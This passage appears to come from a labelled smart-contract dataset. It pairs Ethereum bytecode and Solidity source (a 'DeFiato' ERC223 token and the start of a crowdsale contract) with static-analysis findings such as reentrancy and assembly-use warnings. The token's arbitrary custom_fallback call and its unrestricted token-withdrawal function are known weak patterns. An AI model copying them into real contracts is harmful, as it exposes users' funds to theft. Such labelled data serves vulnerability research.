0080fd5b505af1158015611f80573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b611fd030600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846111b1565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161205996959493929190612efe565b6060604051808303818588803b15801561207257600080fd5b505af1158015612086573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906120ab9190612bcc565b5050505050565b6120be84848484612139565b50505050565b60008060006120d16124a0565b915091506120e881836120ef90919063ffffffff16565b9250505090565b600061213183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612508565b905092915050565b60008060008060008061214b8861256b565b9550955095509550955095508615612304576121af86600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125d390919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061224485600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461261d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122908161267b565b61229a8483612738565b8873ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122f7919061313d565b60405180910390a3612494565b61235686600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125d390919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123eb86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461261d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508873ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8a60405161248b919061313d565b60405180910390a35b50505050505050505050565b6000806000600854905060006a3913517ebd3c0c6500000090506124da6a3913517ebd3c0c650000006008546120ef90919063ffffffff16565b8210156124fb576008546a3913517ebd3c0c65000000935093505050612504565b81819350935050505b9091565b6000808311829061254f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125469190612fdb565b60405180910390fd5b506000838561255e91906132c9565b9050809150509392505050565b60008060008060008060008060006125888a600c54600b54612772565b92509250925060006125986120c4565b905060008060006125ab8e878787612808565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061261583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b6b565b905092915050565b600080828461262c9190613273565b905083811015612671576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126689061305d565b60405180910390fd5b8091505092915050565b60006126856120c4565b9050600061269c828461289190919063ffffffff16565b90506126f081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461261d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61274d826008546125d390919063ffffffff16565b6008819055506127688160095461261d90919063ffffffff16565b6009819055505050565b60008060008061279e6064612790888a61289190919063ffffffff16565b6120ef90919063ffffffff16565b905060006127c860646127ba888b61289190919063ffffffff16565b6120ef90919063ffffffff16565b905060006127f1826127e3858c6125d390919063ffffffff16565b6125d390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612821858961289190919063ffffffff16565b90506000612838868961289190919063ffffffff16565b9050600061284f878961289190919063ffffffff16565b905060006128788261286a85876125d390919063ffffffff16565b6125d390919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156128a45760009050612906565b600082846128b291906132fa565b90508284826128c191906132c9565b14612901576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128f89061307d565b60405180910390fd5b809150505b92915050565b600061291f61291a846131f2565b6131cd565b9050808382526020820190508285602086028201111561293e57600080fd5b60005b8581101561296e57816129548882612978565b845260208401935060208301925050600181019050612941565b5050509392505050565b60008135905061298781613814565b92915050565b60008151905061299c81613814565b92915050565b600082601f8301126129b357600080fd5b81356129c384826020860161290c565b91505092915050565b6000813590506129db8161382b565b92915050565b6000815190506129f08161382b565b92915050565b600081359050612a0581613842565b92915050565b600081519050612a1a81613842565b92915050565b600060208284031215612a3257600080fd5b6000612a4084828501612978565b91505092915050565b600060208284031215612a5b57600080fd5b6000612a698482850161298d565b91505092915050565b60008060408385031215612a8557600080fd5b6000612a9385828601612978565b9250506020612aa485828601612978565b9150509250929050565b600080600060608486031215612ac357600080fd5b6000612ad186828701612978565b9350506020612ae286828701612978565b9250506040612af3868287016129f6565b9150509250925092565b60008060408385031215612b1057600080fd5b6000612b1e85828601612978565b9250506020612b2f858286016129f6565b9150509250929050565b600060208284031215612b4b57600080fd5b600082013567ffffffffffffffff811115612b6557600080fd5b612b71848285016129a2565b91505092915050565b600060208284031215612b8c57600080fd5b6000612b9a848285016129cc565b91505092915050565b600060208284031215612bb557600080fd5b6000612bc3848285016129e1565b91505092915050565b600080600060608486031215612be157600080fd5b6000612bef86828701612a0b565b9350506020612c0086828701612a0b565b9250506040612c1186828701612a0b565b9150509250925092565b6000612c278383612c42565b60208301905092915050565b612c3c816133dd565b82525050565b612c4b81613388565b82525050565b612c5a81613388565b82525050565b6000612c6b8261322e565b612c758185613251565b9350612c808361321e565b8060005b83811015612cb1578151612c988882612c1b565b9750612ca383613244565b925050600181019050612c84565b5085935050505092915050565b612cc78161339a565b82525050565b612cd6816133ef565b82525050565b6000612ce782613239565b612cf18185613262565b9350612d01818560208601613425565b612d0a8161355f565b840191505092915050565b6000612d22602383613262565b9150612d2d82613570565b604082019050919050565b6000612d45602a83613262565b9150612d50826135bf565b604082019050919050565b6000612d68602283613262565b9150612d738261360e565b604082019050919050565b6000612d8b601b83613262565b9150612d968261365d565b602082019050919050565b6000612dae602183613262565b9150612db982613686565b604082019050919050565b6000612dd1602083613262565b9150612ddc826136d5565b602082019050919050565b6000612df4602983613262565b9150612dff826136fe565b604082019050919050565b6000612e17602583613262565b9150612e228261374d565b604082019050919050565b6000612e3a602483613262565b9150612e458261379c565b604082019050919050565b6000612e5d601783613262565b9150612e68826137eb565b602082019050919050565b612e7c816133c6565b82525050565b612e8b816133d0565b82525050565b6000602082019050612ea66000830184612c51565b92915050565b6000604082019050612ec16000830185612c51565b612ece6020830184612c51565b9392505050565b6000604082019050612eea6000830185612c51565b612ef76020830184612e73565b9392505050565b600060c082019050612f136000830189612c51565b612f206020830188612e73565b612f2d6040830187612ccd565b612f3a6060830186612ccd565b612f476080830185612c33565b612f5460a0830184612e73565b979650505050505050565b600060c082019050612f746000830189612c51565b612f816020830188612e73565b612f8e6040830187612ccd565b612f9b6060830186612ccd565b612fa86080830185612c51565b612fb560a0830184612e73565b979650505050505050565b6000602082019050612fd56000830184612cbe565b92915050565b60006020820190508181036000830152612ff58184612cdc565b905092915050565b6000602082019050818103600083015261301681612d15565b9050919050565b6000602082019050818103600083015261303681612d38565b9050919050565b6000602082019050818103600083015261305681612d5b565b9050919050565b6000602082019050818103600083015261307681612d7e565b9050919050565b6000602082019050818103600083015261309681612da1565b9050919050565b600060208201905081810360008301526130b681612dc4565b9050919050565b600060208201905081810360008301526130d681612de7565b9050919050565b600060208201905081810360008301526130f681612e0a565b9050919050565b6000602082019050818103600083015261311681612e2d565b9050919050565b6000602082019050818103600083015261313681612e50565b9050919050565b60006020820190506131526000830184612e73565b92915050565b600060a08201905061316d6000830188612e73565b61317a6020830187612ccd565b818103604083015261318c8186612c60565b905061319b6060830185612c51565b6131a86080830184612e73565b9695505050505050565b60006020820190506131c76000830184612e82565b92915050565b60006131d76131e8565b90506131e38282613458565b919050565b6000604051905090565b600067ffffffffffffffff82111561320d5761320c613530565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061327e826133c6565b9150613289836133c6565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132be576132bd6134d2565b5b828201905092915050565b60006132d4826133c6565b91506132df836133c6565b9250826132ef576132ee613501565b5b828204905092915050565b6000613305826133c6565b9150613310836133c6565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613349576133486134d2565b5b828202905092915050565b600061335f826133c6565b915061336a836133c6565b92508282101561337d5761337c6134d2565b5b828203905092915050565b6000613393826133a6565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006133e882613401565b9050919050565b60006133fa826133c6565b9050919050565b600061340c82613413565b9050919050565b600061341e826133a6565b9050919050565b60005b83811015613443578082015181840152602081019050613428565b83811115613452576000848401525b50505050565b6134618261355f565b810181811067ffffffffffffffff821117156134805761347f613530565b5b80604052505050565b6000613494826133c6565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156134c7576134c66134d2565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61381d81613388565b811461382857600080fd5b50565b6138348161339a565b811461383f57600080fd5b50565b61384b816133c6565b811461385657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b47329a7d449842199f7b96b2daef367a243ec43c37d212e0e7acec1a09ad5f864736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,615
0x1045f5ccb01daea4f8eab055f5fcbb7c0e7c89f0
/** *Submitted for verification at Etherscan.io on 2022-02-12 */ pragma solidity ^0.4.20; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20 { // Get the total token supply function totalSupply() public constant returns (uint256 _totalSupply); // Get the account balance of another account with address _owner function balanceOf(address _owner) public constant returns (uint256 balance); // Send _value amount of tokens to address _to function transfer(address _to, uint256 _value) public returns (bool success); // transfer _value amount of token approved by address _from function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); // approve an address with _value amount of tokens function approve(address _spender, uint256 _value) public returns (bool success); // get remaining token approved by _owner to _spender function allowance(address _owner, address _spender) public constant returns (uint256 remaining); // Triggered when tokens are transferred. event Transfer(address indexed _from, address indexed _to, uint256 _value); // Triggered whenever approve(address _spender, uint256 _value) is called. event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract ERC223 is ERC20{ function transfer(address _to, uint _value, bytes _data) public returns (bool success); function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success); event Transfer(address indexed _from, address indexed _to, uint _value, bytes indexed _data); } /// contract receiver interface contract ContractReceiver { function tokenFallback(address _from, uint _value, bytes _data) external; } contract Ownable { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { _owner = msg.sender; OwnershipTransferred(address(0), msg.sender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender); _; } function renounceOwnership() public onlyOwner { OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function getUnlockTime() public view returns (uint256) { return _lockTime; } function getTime() public view returns (uint256) { return block.timestamp; } function lock(uint256 time) public onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = block.timestamp + time; OwnershipTransferred(_owner, address(0)); } function unlock() public { require(_previousOwner == msg.sender); require(block.timestamp > _lockTime ); OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } contract BasicToken is Ownable, ERC223 { using SafeMath for uint256; uint256 public constant decimals = 18; string public constant symbol = "DFIAT"; string public constant name = "DeFiato"; uint256 public totalSupply = 250000000 * 10**18; address public admin; // tradable bool public tradable = false; // Balances DFO for each account mapping(address => uint256) balances; // Owner of account approves the transfer of an amount to another account mapping(address => mapping (address => uint256)) allowed; modifier isTradable(){ require(tradable == true || msg.sender == admin || msg.sender == owner()); _; } /// @dev Gets totalSupply /// @return Total supply function totalSupply() public constant returns (uint256) { return totalSupply; } /// @dev Gets account's balance /// @param _addr Address of the account /// @return Account balance function balanceOf(address _addr) public constant returns (uint256) { return balances[_addr]; } //assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length>0); } /// @dev Transfers the balance from msg.sender to an account /// @param _to Recipient address /// @param _value Transfered amount in unit /// @return Transfer status // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . function transfer(address _to, uint _value) public isTradable returns (bool success) { require(_to != 0x0); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /// @dev Function that is called when a user or another contract wants to transfer funds . /// @param _to Recipient address /// @param _value Transfer amount in unit /// @param _data the data pass to contract reveiver function transfer( address _to, uint _value, bytes _data) public isTradable returns (bool success) { require(_to != 0x0); balances[msg.sender] = balanceOf(msg.sender).sub(_value); balances[_to] = balanceOf(_to).add(_value); Transfer(msg.sender, _to, _value); if(isContract(_to)) { ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); } return true; } /// @dev Function that is called when a user or another contract wants to transfer funds . /// @param _to Recipient address /// @param _value Transfer amount in unit /// @param _data the data pass to contract reveiver /// @param _custom_fallback custom name of fallback function function transfer( address _to, uint _value, bytes _data, string _custom_fallback) public isTradable returns (bool success) { require(_to != 0x0); balances[msg.sender] = balanceOf(msg.sender).sub(_value); balances[_to] = balanceOf(_to).add(_value); Transfer(msg.sender, _to, _value); if(isContract(_to)) { assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value, _data); } return true; } // Send _value amount of tokens from address _from to address _to // The transferFrom method is used for a withdraw workflow, allowing contracts to send // tokens on your behalf, for example to "deposit" to a contract address and/or to charge // fees in sub-currencies; the command should fail unless the _from account has // deliberately authorized the sender of the message via some mechanism; we propose // these standardized APIs for approval: function transferFrom( address _from, address _to, uint256 _value) public isTradable returns (bool success) { require(_to != 0x0); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(_from, _to, _value); return true; } // Allow _spender to withdraw from your account, multiple times, up to the _value amount. // If this function is called again it overwrites the current allowance with _value. function approve(address _spender, uint256 _amount) public returns (bool success) { allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } // get allowance function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } // @dev allow owner to update admin function updateAdmin(address _admin) public onlyOwner{ admin = _admin; } // allow people can transfer their token // NOTE: can not turn off function turnOnTradable() public onlyOwner { tradable = true; } } contract DEFIATO is BasicToken { function DEFIATO() public { balances[msg.sender] = totalSupply; Transfer(0x0, msg.sender, totalSupply); } function() public payable { } /// @dev Withdraws Ether in contract (Owner only) /// @return Status of withdrawal function withdraw() onlyOwner public returns (bool) { return owner().send(this.balance); } /// @dev Withdraws ERC20 Token in contract (Owner only) /// @return Status of withdrawal function transferAnyERC20Token(address tokenAddress, uint256 amount) public returns (bool success) { return ERC20(tokenAddress).transfer(owner(), amount); } }
0x6060604052600436106101245763ffffffff60e060020a60003504166306fdde038114610126578063095ea7b3146101b057806318160ddd146101e657806323b872dd1461020b5780632fb1746d14610233578063313ce567146102465780633ccfd60b1461025957806354840c6e1461026c578063557ed1ba1461027f578063602bc62b1461029257806370a08231146102a5578063715018a6146102c45780638da5cb5b146102d757806395d89b4114610306578063a69df4b514610319578063a9059cbb1461032c578063be45fd621461034e578063dc39d06d146103b3578063dd467064146103d5578063dd62ed3e146103eb578063e2f273bd14610410578063f2fde38b1461042f578063f6368f8a1461044e578063f851a440146104f5575b005b341561013157600080fd5b610139610508565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561017557808201518382015260200161015d565b50505050905090810190601f1680156101a25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101bb57600080fd5b6101d2600160a060020a036004351660243561053f565b604051901515815260200160405180910390f35b34156101f157600080fd5b6101f96105ac565b60405190815260200160405180910390f35b341561021657600080fd5b6101d2600160a060020a03600435811690602435166044356105b2565b341561023e57600080fd5b610124610724565b341561025157600080fd5b6101f9610765565b341561026457600080fd5b6101d261076a565b341561027757600080fd5b6101d26107c3565b341561028a57600080fd5b6101f96107d3565b341561029d57600080fd5b6101f96107d7565b34156102b057600080fd5b6101f9600160a060020a03600435166107dd565b34156102cf57600080fd5b6101246107f8565b34156102e257600080fd5b6102ea610859565b604051600160a060020a03909116815260200160405180910390f35b341561031157600080fd5b610139610868565b341561032457600080fd5b61012461089f565b341561033757600080fd5b6101d2600160a060020a0360043516602435610926565b341561035957600080fd5b6101d260048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610a4495505050505050565b34156103be57600080fd5b6101d2600160a060020a0360043516602435610cea565b34156103e057600080fd5b610124600435610d71565b34156103f657600080fd5b6101f9600160a060020a0360043581169060243516610de2565b341561041b57600080fd5b610124600160a060020a0360043516610e0d565b341561043a57600080fd5b610124600160a060020a0360043516610e57565b341561045957600080fd5b6101d260048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528181529291906020840183838082843750949650610ee095505050505050565b341561050057600080fd5b6102ea611125565b60408051908101604052600781527f4465466961746f00000000000000000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260066020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b60035490565b60045460009060a060020a900460ff161515600114806105e0575060045433600160a060020a039081169116145b8061060357506105ee610859565b600160a060020a031633600160a060020a0316145b151561060e57600080fd5b600160a060020a038316151561062357600080fd5b600160a060020a03841660009081526005602052604090205461064c908363ffffffff61113416565b600160a060020a038086166000908152600560209081526040808320949094556006815283822033909316825291909152205461068f908363ffffffff61113416565b600160a060020a03808616600090815260066020908152604080832033851684528252808320949094559186168152600590915220546106d5908363ffffffff61114916565b600160a060020a03808516600081815260056020526040908190209390935591908616906000805160206111828339815191529085905190815260200160405180910390a35060019392505050565b60005433600160a060020a0390811691161461073f57600080fd5b6004805474ff0000000000000000000000000000000000000000191660a060020a179055565b601281565b6000805433600160a060020a0390811691161461078657600080fd5b61078e610859565b600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f194505050505090565b60045460a060020a900460ff1681565b4290565b60025490565b600160a060020a031660009081526005602052604090205490565b60005433600160a060020a0390811691161461081357600080fd5b60008054600160a060020a031660008051602061116283398151915260405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600054600160a060020a031690565b60408051908101604052600581527f4446494154000000000000000000000000000000000000000000000000000000602082015281565b60015433600160a060020a039081169116146108ba57600080fd5b60025442116108c857600080fd5b600154600054600160a060020a03918216911660008051602061116283398151915260405160405180910390a36001546000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03909216919091179055565b60045460009060a060020a900460ff16151560011480610954575060045433600160a060020a039081169116145b806109775750610962610859565b600160a060020a031633600160a060020a0316145b151561098257600080fd5b600160a060020a038316151561099757600080fd5b600160a060020a0333166000908152600560205260409020546109c0908363ffffffff61113416565b600160a060020a0333811660009081526005602052604080822093909355908516815220546109f5908363ffffffff61114916565b600160a060020a0380851660008181526005602052604090819020939093559133909116906000805160206111828339815191529085905190815260200160405180910390a350600192915050565b600080600460149054906101000a900460ff161515600115151480610a77575060045433600160a060020a039081169116145b80610a9a5750610a85610859565b600160a060020a031633600160a060020a0316145b1515610aa557600080fd5b600160a060020a0385161515610aba57600080fd5b610ad384610ac7336107dd565b9063ffffffff61113416565b600160a060020a033316600090815260056020526040902055610b0584610af9876107dd565b9063ffffffff61114916565b600160a060020a0380871660008181526005602052604090819020939093559133909116906000805160206111828339815191529087905190815260200160405180910390a3610b5485611159565b15610cdf575083600160a060020a03811663c0ee0b8a3386866040518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610bda578082015183820152602001610bc2565b50505050905090810190601f168015610c075780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1515610c2757600080fd5b6102c65a03f11515610c3857600080fd5b505050826040518082805190602001908083835b60208310610c6b5780518252601f199092019160209182019101610c4c565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a45b506001949350505050565b600082600160a060020a031663a9059cbb610d03610859565b8460006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610d5057600080fd5b6102c65a03f11515610d6157600080fd5b5050506040518051949350505050565b60005433600160a060020a03908116911614610d8c57600080fd5b600080546001805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a038416179091551681554282016002558060008051602061116283398151915260405160405180910390a350565b600160a060020a03918216600090815260066020908152604080832093909416825291909152205490565b60005433600160a060020a03908116911614610e2857600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60005433600160a060020a03908116911614610e7257600080fd5b600160a060020a0381161515610e8757600080fd5b600054600160a060020a03808316911660008051602061116283398151915260405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60045460009060a060020a900460ff16151560011480610f0e575060045433600160a060020a039081169116145b80610f315750610f1c610859565b600160a060020a031633600160a060020a0316145b1515610f3c57600080fd5b600160a060020a0385161515610f5157600080fd5b610f5e84610ac7336107dd565b600160a060020a033316600090815260056020526040902055610f8484610af9876107dd565b600160a060020a0380871660008181526005602052604090819020939093559133909116906000805160206111828339815191529087905190815260200160405180910390a3610fd385611159565b15610cdf5784600160a060020a03166000836040518082805190602001908083835b602083106110145780518252601f199092019160209182019101610ff5565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b838110156110a557808201518382015260200161108d565b50505050905090810190601f1680156110d25780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f1935050505015156110f657fe5b8260405180828051906020019080838360208310610c6b5780518252601f199092019160209182019101610c4c565b600454600160a060020a031681565b60008282111561114357600080fd5b50900390565b818101828110156105a657600080fd5b6000903b119056008be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058205e3b2c6f3fa06c819fc462289597ce2bf1e6d0fdf256691fb53a0ebd39c7185f0029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}}
3,616
0x7e72cf5b37c7ff414e886192cfa6eca8ae128ecc
pragma solidity ^0.4.11; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale. * Crowdsales have a start and end timestamps, where investors can make * token purchases and the crowdsale will assign them tokens based * on a token per ETH rate. Funds collected are forwarded to a wallet * as they arrive. */ contract Crowdsale { using SafeMath for uint256; // The token being sold MintableToken public token; // start and end timestamps where investments are allowed (both inclusive) uint256 public startTime; uint256 public endTime; // address where funds are collected address public wallet; // how many token units a buyer gets per wei uint256 public rate; // amount of raised money in wei uint256 public weiRaised; /** * event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) { require(_startTime >= now); require(_endTime >= _startTime); require(_rate > 0); require(_wallet != 0x0); token = createTokenContract(); startTime = _startTime; endTime = _endTime; rate = _rate; wallet = _wallet; } // creates the token to be sold. // override this method to have crowdsale of a specific mintable token. function createTokenContract() internal returns (MintableToken) { return new MintableToken(); } // fallback function can be used to buy tokens function () payable { buyTokens(msg.sender); } // low level token purchase function function buyTokens(address beneficiary) payable { require(beneficiary != 0x0); require(validPurchase()); uint256 weiAmount = msg.value; // calculate token amount to be created uint256 tokens = weiAmount.mul(rate); // update state weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } // send ether to the fund collection wallet // override to create custom fund forwarding mechanisms function forwardFunds() internal { wallet.transfer(msg.value); } // @return true if the transaction can buy tokens function validPurchase() internal constant returns (bool) { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase; } // @return true if crowdsale event has ended function hasEnded() public constant returns (bool) { return now > endTime; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * 